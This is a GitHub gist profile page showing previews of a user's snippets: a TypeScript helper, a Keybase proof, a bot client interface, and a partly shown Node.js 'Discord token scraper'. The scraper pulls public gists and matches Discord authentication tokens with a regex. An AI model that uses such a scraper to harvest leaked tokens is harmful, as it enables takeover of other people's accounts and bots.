Skip to content

Instantly share code, notes, and snippets.

View y21's full-sized avatar
🧊

Timo y21

🧊
  • Germany
  • 10:40 (UTC +02:00)
View GitHub Profile
type Value = string | number;
type Indexable<V> = { [key: string]: V };
function makeTypedNullPrototype<T = any, V = Value>(obj: T): T & Indexable<V> {
return Object.setPrototypeOf(obj, null);
}
// const p = makeTypedNullPrototype({
// a: 3
// });
@y21
y21 / keybase.md
Created December 16, 2019 22:12
keybase.md

Keybase proof

I hereby claim:

  • I am y21 on github.
  • I am y21 (https://keybase.io/y21) on keybase.
  • I have a public key ASCSwqOHI8WFk3w4bybymnd5gqQ0er5QTecT1wZfcGhevQo

To claim this, I am signing this object:

@y21
y21 / client.ts
Last active November 4, 2019 12:28
Pylon Client
interface ClientOptions {
owner: string;
description: string;
prefix: string;
commands?: Array<Command>;
};
interface CommandOptions {
name: string;
enabled?: boolean;
@y21
y21 / scrape.js
Created October 28, 2018 13:16
Discord token scraper (gists)
const fetch = require("node-fetch");
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g;
fetch("https://api.github.com/gists")
.then(r => r.json())
.then(r => {
for (const gist of r) {
fetch(gist.files[Object.keys(gist.files)[0]].raw_url)
.then(rr => rr.text())
.then(rr => {